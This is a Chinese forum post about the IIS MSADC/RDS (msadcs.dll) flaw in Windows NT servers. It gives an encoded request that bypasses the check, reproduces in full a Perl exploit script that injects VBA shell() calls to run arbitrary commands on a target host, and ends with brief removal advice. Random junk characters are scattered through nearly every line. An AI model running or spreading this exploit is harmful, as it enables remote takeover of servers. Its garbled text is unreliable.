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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) dX0"h5v1  
xYJ|G=h&A  
涉及程序: os]P6TFFX?  
Microsoft NT server o1"MW>B,4  
72gQ<Si  
描述: ly<1]jK  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Qifjv0&;u  
G6N$^HkW?  
详细: ,h'q}5  
如果你没有时间读详细内容的话,就删除: e)[>E\u_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll j zaC  
有关的安全问题就没有了。 }?pY~f  
sz'IGy%  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 KMxP%dV/=  
`2X#;{a:  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  lqO"  
关于利用ODBC远程漏洞的描述,请参看: {o?+T );Z  
HrUQ X4  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D|u! KH  
0{/P1  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 f*VBSg[`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5y. n  
Ri@`sc{n  
这里不再论述。 Xi]WDH \  
i>n.r_!E  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s^X(G!V{c  
btC 0w^5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @?A39G{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! f3>8ZB4  
f#RI&I\  
Mt@P}4   
#将下面这段保存为txt文件,然后: "perl -x 文件名" Nj2f?',;U  
o5(p&:1M  
#!perl 8:%=@p>$  
# (GVH#}uB  
# MSADC/RDS 'usage' (aka exploit) script =|lKB;  
# KKR@u(+"a  
# by rain.forest.puppy km; M!}D  
# x<'(b7{U0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me k\T,CZ<  
# beta test and find errors! }*{@-v|_R  
s6(iiB%d  
use Socket; use Getopt::Std; D{&0r.2F  
getopts("e:vd:h:XR", \%args); JfmNI~%  
-uDB#?q:W  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; KLI(Rve24  
'2u(fLq3h  
if (!defined $args{h} && !defined $args{R}) { !$"DD[~\  
print qq~ SCClD6k=V  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (~~*PT-  
-h <host> = host you want to scan (ip or domain) } PD]e*z{Z  
-d <seconds> = delay between calls, default 1 second oaI|A^v  
-X = dump Index Server path table, if available ESk<*-  
-v = verbose lF]cUp#<  
-e = external dictionary file for step 5 U2*g9Es  
78v4c Q Y  
Or a -R will resume a command session LFsrqdzJ  
U!E   
~; exit;} (vCMff/ Y1  
B/S~Jn  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \bze-|C  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} FhZ^/= As  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} yub|   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); D-7PO3F:F  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5cbtMNP  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $EjM )  
V6.xp{[  
if (!defined $args{R}){ $ret = &has_msadc; 3:Aw.-,i\  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} pA(B~9WQ  
\#P>k;D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  D(}w$hi8  
. "cmd /c "; Y<U"}}  
$in=<STDIN>; chomp $in; ew(CfW2  
$command="cmd /c " . $in ; 3/P# 2&jt  
EG<YxNX,  
if (defined $args{R}) {&load; exit;} j rX .e  
MP|J 0=H5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; (9_~R^='y  
&try_btcustmr; {{b&l!  
RbUhLcG5  
print "\nStep 2: Trying to make our own DSN..."; 0n25{N  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \{F{yq(  
u~#QvA~]  
print "\nStep 3: Trying known DSNs..."; vEJ2d&  
&known_dsn; 9$&+0  
hlPZTr=a  
print "\nStep 4: Trying known .mdbs..."; 9Foo8e  
&known_mdb; )D ^.{70N  
Byf5~OC  
if (defined $args{e}){ pyEi@L1p  
print "\nStep 5: Trying dictionary of DSN names..."; T:ye2yg  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /"A)}>a  
d'~sy>  
print "Sorry Charley...maybe next time?\n"; 8}m bfu o1  
exit; <szD"p|K  
nJJ9>#<g$  
############################################################################## >hcA:\UPk  
VeixwGZ.  
sub sendraw { # ripped and modded from whisker c[:OK9TH  
sleep($delay); # it's a DoS on the server! At least on mine... SG1o< #>  
my ($pstr)=@_; $dAQ'\f7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >[ r TUn;  
die("Socket problems\n"); Qp{gV Ys  
if(connect(S,pack "SnA4x8",2,80,$target)){ (fmcWHs  
select(S); $|=1; E DuLgg@  
print $pstr; my @in=<S>; Qe=,EXf  
select(STDOUT); close(S); 6LUO  
return @in; [h "*>J{  
} else { die("Can't connect...\n"); }} d52l)8  
VUXG%511T  
############################################################################## uT8@p8  
{R[FwB^7wJ  
sub make_header { # make the HTTP request <3dmY=  
my $msadc=<<EOT i6R2R8  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 O>)<w Ms`  
User-Agent: ACTIVEDATA 2 s,[DC  
Host: $ip a []Iz8*6e  
Content-Length: $clen v)|[=  
Connection: Keep-Alive ~~[Sz#(  
2}Dd{kC-  
ADCClientVersion:01.06 RZm}%6##ZC  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 '=!@s1;{[;  
p[BF4h{E  
--!ADM!ROX!YOUR!WORLD! kt8P\/~*i  
Content-Type: application/x-varg "(y",!U@  
Content-Length: $reqlen -TKS`,#  
1JIL6w_  
EOT ("{JNA/  
; $msadc=~s/\n/\r\n/g; <vx/pH)f  
return $msadc;} ZV}"k_+-  
^6!C":f  
############################################################################## aC0[OmbG  
s`* 'JM<  
sub make_req { # make the RDS request k9j_#\E[  
my ($switch, $p1, $p2)=@_;  %Gp%l  
my $req=""; my $t1, $t2, $query, $dsn; JzD Mx?  
W:q79u yX  
if ($switch==1){ # this is the btcustmr.mdb query gakmg#ki  
$query="Select * from Customers where City=" . make_shell(); qms+s~oA  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . qbjBN z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Dm=t`_DL8  
ea3;1-b:  
elsif ($switch==2){ # this is general make table query  Ad)Po  
$query="create table AZZ (B int, C varchar(10))"; ;seD{y7!  
$dsn="$p1";} %4#,y(dO  
RXa&*Jtr -  
elsif ($switch==3){ # this is general exploit table query L(a&,cdh  
$query="select * from AZZ where C=" . make_shell(); +]|aACt]  
$dsn="$p1";} hzIP ?0^E  
-x~h.s,  
elsif ($switch==4){ # attempt to hork file info from index server m9bR %j  
$query="select path from scope()"; *<k8H5z8]  
$dsn="Provider=MSIDXS;";} ;K<e]RI;?  
F&US-ce:M  
elsif ($switch==5){ # bad query ' N$hbl  
$query="select"; o -tc}Aa  
$dsn="$p1";}  |4uH  
\\F^uM7,  
$t1= make_unicode($query); .<zW(PW  
$t2= make_unicode($dsn); KK; 3<kX  
$req = "\x02\x00\x03\x00"; y6.}h9~  
$req.= "\x08\x00" . pack ("S1", length($t1)); K;jV"R<9  
$req.= "\x00\x00" . $t1 ; pEk^;  
$req.= "\x08\x00" . pack ("S1", length($t2)); ,Y&LlB 2  
$req.= "\x00\x00" . $t2 ; /(C?3 }}L  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,i>u>YNZ  
return $req;} 3-cCdn  
}ge~Nu>w  
############################################################################## b_= $W  
Xd%c00"U  
sub make_shell { # this makes the shell() statement +jzwi3B`  
return "'|shell(\"$command\")|'";} O]{3aMs!Y  
VU+`yQp  
############################################################################## $0WO 4C%M  
68ce+|  
sub make_unicode { # quick little function to convert to unicode TWF6YAQ m  
my ($in)=@_; my $out; RAMkTS  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } x)eYqH~i  
return $out;} @y%4BU&>0  
K_/8MLJQ  
############################################################################## 8A/;a{   
Wyu$J  
sub rdo_success { # checks for RDO return success (this is kludge) 4Q2=\-KFj  
my (@in) = @_; my $base=content_start(@in); }7iWmXlI  
if($in[$base]=~/multipart\/mixed/){ ;,T3C:S?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} tpe:]T/xh  
return 0;} C?@vBM}  
n_;qB7,,  
############################################################################## lz>YjK:  
f49pIcAq  
sub make_dsn { # this makes a DSN for us 6?y<F4  
my @drives=("c","d","e","f"); +2%ih !  
print "\nMaking DSN: "; lSv?!2  
foreach $drive (@drives) { P" +!mSe^~  
print "$drive: "; 61|uvTX  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ~hi\*W6jg  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" S9~X#tpKe  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .?7u'%6x?{  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; tfzIem  
return 0 if $2 eq "404"; # not found/doesn't exist z3!j>X_w  
if($2 eq "200") { '<N^u@tF7  
foreach $line (@results) { ^):m^w.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} r':wq   
} return 0;} g ycjIy@t  
W}&[p=PAS  
############################################################################## 6"@+Jz  
0* Ox>O>  
sub verify_exists { EBjSK/  
my ($page)=@_; *_G(*yAe(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O;RsYs9  
return $results[0];} +X[+SF)!  
hdky:2^3  
############################################################################## nulCk33x'=  
nY(>|!  
sub try_btcustmr { F?!P7 zW  
my @drives=("c","d","e","f"); P{ YUW~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Vfkm{*t)  
H#pl&/+  
foreach $dir (@dirs) { g)7~vm2/,  
print "$dir -> "; # fun status so you can see progress 3vx5dUgl,  
foreach $drive (@drives) { )?35!s6  
print "$drive: "; # ditto AF ,*bb  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Rf*we+  
$reqlenlen=length( "$reqlen" ); RTN?[`  
$clen= 206 + $reqlenlen + $reqlen; cM&5SyxiuE  
~JjL411pG  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); +/u)/ey  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} E`#m0Q(8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} RLBeti>  
Z05kn{<a8  
############################################################################## <9zzjgzG{c  
*&$J.KM  
sub odbc_error { DONXq]f:,"  
my (@in)=@_; my $base; ~)!yl. H  
my $base = content_start(@in); ~)5NX 4Po  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this p,_,o3@~  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2tz%A~}4  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T: zO9C/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WXJEAje  
return $in[$base+4].$in[$base+5].$in[$base+6];} >*DR>U  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &PY~m<F  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . HgH\2QL3&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 4n55{ ?Z  
0ws1S(pq  
############################################################################## e/+_tC$@p@  
Z) nB  
sub verbose { P#^-{;Bu  
my ($in)=@_; _5<d'fBd  
return if !$verbose; R]{zGFnx  
print STDOUT "\n$in\n";} \o-9~C\c*  
r\#_b4-v3h  
############################################################################## sb8%!> C  
-Jqm0)2  
sub save { WiDl[l"{9  
my ($p1, $p2, $p3, $p4)=@_; ckn0I  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; m\9R;$ \  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; -Ky<P<@ezm  
close OUT;} | .w'Z7(s  
_+c' z  
############################################################################## Be~__pd  
nV/8u_  
sub load { zKRt\;PW  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ew`(x30E  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); r~mZ?dI  
@p=<IN>; close(IN); ;<=Z\NX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @bPR"j5D  
$target= inet_aton($ip) || die("inet_aton problems"); /j7e q  
print "Resuming to $ip ..."; 4:umD*d 3E  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hw2'.}B"(  
if($p[1]==1) { 6I)[6R  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0tA~Y26  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ?vA)F)MS   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); @#HB6B  
if (rdo_success(@results)){print "Success!\n";} 9jwcO)p^  
else { print "failed\n"; verbose(odbc_error(@results));}} uD'yzR!]+  
elsif ($p[1]==3){ .bdp=vbA  
if(run_query("$p[3]")){ i rjOGn  
print "Success!\n";} else { print "failed\n"; }} Y-Iu&H+\  
elsif ($p[1]==4){ !H)$_d \uj  
if(run_query($drvst . "$p[3]")){ n ~c<[  
print "Success!\n"; } else { print "failed\n"; }} E[Xqyp!<  
exit;} 0.pZlv  
E6 g]EE  
############################################################################## o!6~tO=%  
j-~x==c-;  
sub create_table { @= E~`  
my ($in)=@_; E[$"~|7|$  
$reqlen=length( make_req(2,$in,"") ) - 28; e>F i  
$reqlenlen=length( "$reqlen" ); g`7C1&U*T  
$clen= 206 + $reqlenlen + $reqlen; QoLp$1O (y  
my @results=sendraw(make_header() . make_req(2,$in,"")); =g.R?H8cj5  
return 1 if rdo_success(@results); o7gYj\  
my $temp= odbc_error(@results); verbose($temp); w\V1pu^6@  
return 1 if $temp=~/Table 'AZZ' already exists/; QR+xPY~  
return 0;} 0B}O&DC%|  
0H$6_YX4 A  
############################################################################## Y"{L&H `  
Bb[WtT}=  
sub known_dsn { W D/\f$4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7pllzy  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", s=S9y7i(R  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Zr(4Q9fDo  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); (M0"I1g|w  
jF$bCbAUce  
foreach $dSn (@dsns) { z6IOVQ*r  
print "."; _h6j, )  
next if (!is_access("DSN=$dSn")); <QuIXA  
if(create_table("DSN=$dSn")){ V8w7U:K  
print "$dSn successful\n"; D =+md  
if(run_query("DSN=$dSn")){ nrBpq  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { rCK   
print "Something's borked. Use verbose next time\n";}}} print "\n";} %>p[;>jW  
G_m$?0\  
############################################################################## LoUHStt  
\T'.b93~B  
sub is_access { #!0=I s^  
my ($in)=@_; N>TmaUk  
$reqlen=length( make_req(5,$in,"") ) - 28; Y YE{zU  
$reqlenlen=length( "$reqlen" ); xNrPj8V<Y  
$clen= 206 + $reqlenlen + $reqlen; /M : 7  
my @results=sendraw(make_header() . make_req(5,$in,"")); qw?Wi%t(x8  
my $temp= odbc_error(@results); -/V,<@@T  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); N!PPL"5z  
return 0;} V jdu9Ez  
tG7F!um(  
############################################################################## 6N49q -.Lg  
(HEi;  
sub run_query { 3 as~yF0  
my ($in)=@_; opXxtYC@  
$reqlen=length( make_req(3,$in,"") ) - 28; K N Y  
$reqlenlen=length( "$reqlen" ); )_&P:;N  
$clen= 206 + $reqlenlen + $reqlen; ndmsXls  
my @results=sendraw(make_header() . make_req(3,$in,"")); bIWSNNV0F  
return 1 if rdo_success(@results); JpRn)e'Z  
my $temp= odbc_error(@results); verbose($temp); 4Wd H!z  
return 0;} JRw<v4pZ  
Ao )\/AR'  
############################################################################## ybC0Ee@  
Aaw]=8 OI  
sub known_mdb { -l Y,lC>{  
my @drives=("c","d","e","f","g"); m >Rdsn~l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l`bl^~xRo  
my $dir, $drive, $mdb; %jE0Z4\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !+k);;.+  
NR>&1aRbyb  
# this is sparse, because I don't know of many SeV`RUO  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8aqH;|fG}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", }6'%p Bd  
"\\system32\\certmdb.mdb", _4f=\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% UVd ^tg  
bMA0#e2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", b F MBIA|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {X\%7Zef+  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 4<j7F4  
"\\cfusion\\cfapps\\security\\realm_.mdb", *V`E)maU  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;b5^) S  
"\\cfusion\\database\\cfexamples.mdb", .GSK!1{@  
"\\cfusion\\database\\cfsnippets.mdb", s||c#+j"8  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", mz2v2ma  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >vR7l&"  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 34 '[O  
"\\cfusion\\database\\smpolicy.mdb", z"D0Th`S6  
"\\cfusion\\database\cypress.mdb", #ZC9=  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 43}uW, P  
"\\website\\cgi-win\\dbsample.mdb", ~} 02q5H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]@I>OcH  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z,~PW#8<&  
); #these are just h+c9FN  
foreach $drive (@drives) { ;=UkTn}N?l  
foreach $dir (@dirs){ HEk{!Y  
foreach $mdb (@sysmdbs) { M?d(-en  
print "."; }Ip1|Gj  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Gc=uKQ+\V  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; o?g9Grk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ TFNB %|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Hmx Y{KB  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [k]3#<sS  
?{;7\1 [4  
foreach $drive (@drives) { FfX*bqy  
foreach $mdb (@mdbs) { ei82pLM z  
print "."; aH&Efz^  
if(create_table($drv . $drive . $dir . $mdb)){ lt("yqBu  
print "\n" . $drive . $dir . $mdb . " successful\n"; ATWa/"l(H-  
if(run_query($drv . $drive . $dir . $mdb)){ kxLWk%V  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `qV*R 2  
} else { print "Something's borked. Use verbose next time\n"; }}}} FN<S agj  
} l`A e&nc6  
8Sk$o.Gy  
############################################################################## 8 KRo<  
Zg4kO;r08  
sub hork_idx { $!vK#8-&{  
print "\nAttempting to dump Index Server tables...\n"; z?Cez*.h>  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;LC?3.  
$reqlen=length( make_req(4,"","") ) - 28; 7lx]`u>  
$reqlenlen=length( "$reqlen" ); p4@0[z'  
$clen= 206 + $reqlenlen + $reqlen; 489xoP  
my @results=sendraw2(make_header() . make_req(4,"","")); ,B:r^(}0j  
if (rdo_success(@results)){ oh7tE$"c  
my $max=@results; my $c; my %d; _/J`v`}G  
for($c=19; $c<$max; $c++){ 3=("vR`!  
$results[$c]=~s/\x00//g; 'A,)PZL9i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; R:`)*=rL%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +xuj]J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; A!v:W6yiz  
$d{"$1$2"}="";} =u`tlN5pOT  
foreach $c (keys %d){ print "$c\n"; } wg4Ol*y'  
} else {print "Index server doesn't seem to be installed.\n"; }} G+t=+T2m  
T|2v1Vj  
############################################################################## FEi@MJJ\e  
"vfpG7CG  
sub dsn_dict { ]wUH*\(y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); s~m]>^?8MR  
while(<IN>){ '?$R YU,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; C;%1XFzM  
next if (!is_access("DSN=$dSn")); T930tX6"h  
if(create_table("DSN=$dSn")){ %us#p|Ya  
print "$dSn successful\n"; 8<{i=V*x4  
if(run_query("DSN=$dSn")){ \ cdns;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { WIN3*z7oW  
print "Something's borked. Use verbose next time\n";}}} as(Zb*PdH  
print "\n"; close(IN);} ><qA+/4]_  
)XDbg>  
############################################################################## |zJ2ZE|  
eVzZfB-=4}  
sub sendraw2 { # ripped and modded from whisker r%9=75HA  
sleep($delay); # it's a DoS on the server! At least on mine... Wjli(sT#-  
my ($pstr)=@_; $|N\(}R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?ph>:M  
die("Socket problems\n"); MvTp%d.  
if(connect(S,pack "SnA4x8",2,80,$target)){ x@@bC=iY$  
print "Connected. Getting data"; 6$K@s  
open(OUT,">raw.out"); my @in; m:c0S8#:  
select(S); $|=1; print $pstr; qJJ}, 4}  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} vwzElZ{C:v  
close(OUT); select(STDOUT); close(S); return @in; ?z0W1a  
} else { die("Can't connect...\n"); }} yG^pND>_df  
abp\Ih^b  
############################################################################## V ONC<wC  
V@nZ_.  
sub content_start { # this will take in the server headers L9]d$ r"  
my (@in)=@_; my $c; Fw8b^ew  
for ($c=1;$c<500;$c++) { ,'n`]@0?\  
if($in[$c] =~/^\x0d\x0a/){ >2ha6A[  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 2|&SG3e+(I  
else { return $c+1; }}} ZcN#jnb0/  
return -1;} # it should never get here actually 2$'bOo  
{$V2L4  
############################################################################## R+El/ya:6  
Y8h 96  
sub funky { y[zjs^-vCv  
my (@in)=@_; my $error=odbc_error(@in); qC B{dp/  
if($error=~/ADO could not find the specified provider/){ XRTiC #6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; O=jzz&E+  
exit;} 4HpKKhv"  
if($error=~/A Handler is required/){ K'y|_XsBB)  
print "\nServer has custom handler filters (they most likely are patched)\n"; @aP1[(m  
exit;} Hzz v 6k  
if($error=~/specified Handler has denied Access/){ X6BOB?  
print "\nServer has custom handler filters (they most likely are patched)\n"; j_h0 hm]  
exit;}} MpTOC&NG%s  
!;K zR&  
############################################################################## O Q$C#:?  
r5y*SoD!  
sub has_msadc { D=SjCmG  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); tO?-@Qf/9<  
my $base=content_start(@results); OuK RaZ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @)wsHW%cjz  
return 0;} |D_4 iFC  
.#Z"Sj  
######################## {gxP_>  
#N;&^El  
h^,av^lg^  
解决方案: SXC 7LJm<g  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &Mz]y?k'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章  n}- _fx  
D G|v' #  
拿出来充数 哈哈
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